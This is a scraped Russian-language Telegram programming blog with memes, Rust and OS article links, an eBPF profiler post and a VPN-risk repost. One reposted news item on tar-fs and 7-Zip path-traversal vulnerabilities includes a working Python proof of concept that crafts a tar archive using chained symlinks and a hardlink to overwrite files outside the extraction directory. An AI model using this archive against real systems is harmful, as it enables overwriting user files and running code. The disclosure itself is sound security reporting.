1.83K subscribers
3.25K photos
128 videos
15 files
3.53K links
Блог со звёздочкой.

Много репостов, немножко программирования.

Небольшое прикольное комьюнити: @decltype_chat_ptr_t
Автор: @insert_reference_here
Download Telegram
Надеть платье горничной и обслужить красивую японскую девушку можно в попап-кафе Maid ni Nareru («Стать горничной») в Токио.

Так-то в Японии популярны мэйд-кафе, где девочки в образе разносят гостям красивую еду и называют вас «господином» (или госпожой), а тут обратный принцип: клиент платит 4000 иен за то, чтобы полтора часа поработать горничной и приносить чай японской леди. И да, юноша тоже может стать горничной.

Уверен, эта новость быстро превратится в очередной миф (зашел не в то кафе, и все - на тебя нацепили платье и отправили разносить рамен мужикам), поэтому подчеркну: это просто серия временных ивентов в одном котокафе Yorimichi Cafe Nyan & Peace. Ближайшие сессии пройдут 16 августа, билеты продаются здесь.

Да, и обслуживать других клиентов не попросят - роль японской леди исполняет актриса. Так что это никакая не работа, а просто полуторачасовая косплей-фотосессия в образе горничной, за время которой вас даже накормят.
7🤩3😍2❤‍🔥1🔥1🥰1
На самом деле есть только два жанра видеоигр: ритм-игры и поиск предметов
😁61🤡1
#prog #rust #article

Fully Automated Releases for Rust Projects

Статья с очень конкретными инструкциями
🔥4
#prog #rust #suckassstory

std::process::exit is not thread-safe in combination with C code calling exit

Древний дизайн из времён, когда многопоточности не существовало, вновь наносит удар! И да, проблемы те же, что и с env::{set_var, remove_var}.
😁4
#prog #article

Fixing the Next 10,000 Aliasing Bugs

Относительно старая (март 2023 года) статья, которую стоило бы опубликовать куда раньше.

Статья, которая сначала демонстрирует, к каким багам может приводить алиасинг, а затем пошагово вводит отслеживание алиасинга в систему типов и в итоге приходит к... Rust.

Главный аргумент статьи — почему отслеживание алиасинга в принципе может быть полезно — говорит о связи между алиасингом и инвариантами:

What do all three of these bugs have in common? In every case, an invariant was violated thanks to multiple aliased references to the same value.

Invariants are essential to large scale programming, because it is impossible to hold the entire state of a system in your head at once. <...>

However, code inevitably needs to temporarily violate an invariant while performing updates. The problem comes when there are multiple references to the relevant data, and another reference observes this temporarily violated invariant.
👍4🌚3😁2🔥1
You're a busy professional so the TLDR is we built an OOM monitoring system called OOMProf in eBPF that profiles Go programs at the point they are OOM kill'd capturing allocations up to the bitter end to give developers a better idea of exactly what went wrong.

Запилили профайлер на eBPF для того что бы лучше понимать откуда в Go-шных программах память течёт.

В статье расписана проблематика OOM и к какому решению в итоге пришли. Я расписывать не буду, потому что это всё сложно уместить в пост в Телеге. Оставлю тут ещё только куда ещё хотят развиваться

Future Plans

Rome wasn't built in a day! We'd like to add support for these features:

- Add support for jemalloc,tcmalloc,mimalloc profiling for Rust/native programs
- Add support for stack/goroutine dumps, if we fail or can't gather a memory profile it would nice to have something!


OOMProf - Profiling on the Brink
https://www.polarsignals.com/blog/posts/2025/08/13/oomprof

GitHub проекта

OOMProf is an eBPF-based process monitor that automatically captures heap profiles from Go programs just before they are killed by the Linux Out-of-Memory (OOM) killer, or on-demand for specific processes. This enables post-mortem analysis of memory usage patterns that led to OOM conditions.

eBPF OOM Memory Profiler
https://github.com/parca-dev/oomprof
👍5🤣2
Forwarded from Хреногубка
За сммщиком VIZIT уже выехали
😁34
#meme философский
😁314👍2🔥2😐2🤔1🌚1
Forwarded from Zoomer Hoomer
🌚15😁12🙏81👍1💯1
Вот и всё у них так, по заветам господина Потёмкина 🤓
🤣26🌚2
#prog #gamedev #article

Bevy's Fifth Birthday

Да, уже пять лет существует. И да, скоро наконец-то будет редактор, по всей видимости.
2
#prog #article

Лежало в закладках с аж 2023 года, при том, что давно прочитал.

A fork() in the road (pdf)

The received wisdom suggests that Unix’s unusual combination of fork() and exec() for process creation was an inspired design. In this paper, we argue that fork was a clever hack for machines and programs of the 1970s that has long outlived its usefulness and is now a liability. We catalog the ways in which fork is a terrible abstraction for the modern programmer to use, describe how it compromises OS implementations, and propose alternatives.

As the designers and implementers of operating systems, we should acknowledge that fork’s continued existence as a first-class OS primitive holds back systems research, and deprecate it. As educators, we should teach fork as a historical artifact, and not the first process creation mechanism students encounter.


Один из главных аргументов — само существование fork() постоянно сказывается и на дизайне OS, и на дизайне программ, причём не в лучшую сторону.
👍11🔥1
Forwarded from шитпостинг.
😁21😍18🌚3
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога
https://www.opennet.ru/opennews/art.shtml?num=63740

В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.

Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.

Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.

Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar


PoC

import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
😁1
Добрый день
пока сбывается только первая часть картинки
21🤡3🖕2🤮1😭1
Forwarded from Too Long, Did Read
Страшилка про VPNы

Недавно ненадолго приезжал в Москву и прифигел от того, до чего техника дошла в плане блокировки контента.
Помимо того, что в России поблокировали кучу IP ranges разных облачных провайдеров, вроде Cloudflare, Digital Ocean и даже Hetzner, за последние пару лет большая часть существующих VPN-протоколов почти полностью перестали работать (особенно на LTE).
Очень рекомендую прошлогодний выпуск “запуск завтра”, где про методы блокировок довольно подробно и интересно рассказывает директор фонда “Общество защиты интернета”.
Спойлер: почти все, что он там “предсказывал” про следующие протоколы, которые будут банить в РФ, за этот год уже произошло.

Большинство моих друзей в результате всего этого меняют VPNы раз в 1-2 месяца и держат сразу по несколько приложений одновременно на всякий случай.
В связи с этим решил повспоминать случаи, в которых разработчики VPNов умышленно или неумышленно (ага) подвергали пользователей разнообразным рискам, шпионили за ними и т д.

- Наверное, самый масштабный кейс с участием 150+ разных VPN-сервисов - ботнет 911 S5, снесенный американскими спецслужбами в 2024.
Создатель ботнета на протяжении нескольких лет создавал и продвигал разные VPN-приложения “с сюрпризом” в App Store и Google Play и успел насобирать более 19 млн пользователей по всему миру и $99+ млн выручки.
Каждый девайс с установленным и включенным VPNом из этого набора превращался в зараженную ноду ботнета, который, в свою очередь, создатель сдавал в аренду разным киберпреступникам для организации DDoS-атак, фишингов и вымогательств.

- Уже писал коротко про Onavo - VPN, который в 2013 году купил Facebook за астрономические на тот момент + для такого приложения $120 млн и продвигал его на главной фб как способ сидеть в интернете “безопаснее и дешевле”.
В ходе антимонопольного кейса против FB “случайно” обнаружилось, что вплоть до 2019 года фейсбук с помощью Onavo расшифровывал весь проходящий через VPN трафик на домены Snapchat, Amazon, Google…
Очень подробный технический разбор этого кейса.

- В 2021 произошла утечка данных 21 млн пользователей трех популярных на тот момент VPNов: SuperVPN, GeckoVPN и ChatVPN.
Данные пользователей (емейлы, IMEI, пароли и прочее) выложили на один из даркнет-форумов и продавали всем желающим.
По слухам (чет не нашел железобетонных пруфов), разработчики оставили экспоузнутую базу данных с дефолтным логином/паролем, - так что и ломать особо ничего не пришлось.

Какие можно сделать выводы из подобных историй?

Во-первых, если VPN бесплатный, то он зарабатывает каким-то другим способом.
Если это “хороший” впн, то он показывает рекламу при заходе в приложение и очень сильно режет трафик, вымогая подписку.
Если ваш бесплатный впн этого не делает, работает без ограничений, смс, рекламы и т д - либо вы нашли святого VPN-провайдера, либо он монетизирует вас как-то иначе. И шансов узнать как именно у вас довольно мало.

Кстати, если впн платный - он может точно так же зарабатывать доп. деньги сливая данные или продавая вас как частичку ботнета - диверсификация revenue streams, так сказать.

Во-вторых, разработчик-вайбкодер, который запускает yet another VPN, мог и без всякого злого умысла оставить пару дырок для желающих угнать данные пользователей. А впн знает довольно много в сравнении с другими видами приложений.

Честно говоря, что со всем этим глобально делать я не знаю.
Я уже пару лет сижу только на собственноручно развернутом VPNе (в основном использую Tailscale, расскажу как-нибудь), но вот в последний приезд обнаружил, что на LTE он уже не работает (ну, точнее, на Билайне. хз может у других не так).

И даже моя “запасная” Amnesia с 10ю разными изощренными протоколами вроде X-Ray и Shadowsocks5 работала только на вайфае.
Видел, что люди покупают в тг ботах профили для Outline, вроде бы работает - но выглядит это все хуже и хуже.

Думаю (без пруфов и достаточной экспертизы), что если глушить все будут и дальше, через год-два уже только невероятные умельцы смогут ВПНить с мобильного интернета.
А вы как думаете?
😭9🤔4😁2🥴1
венсдей май дюдес
🔥17👍1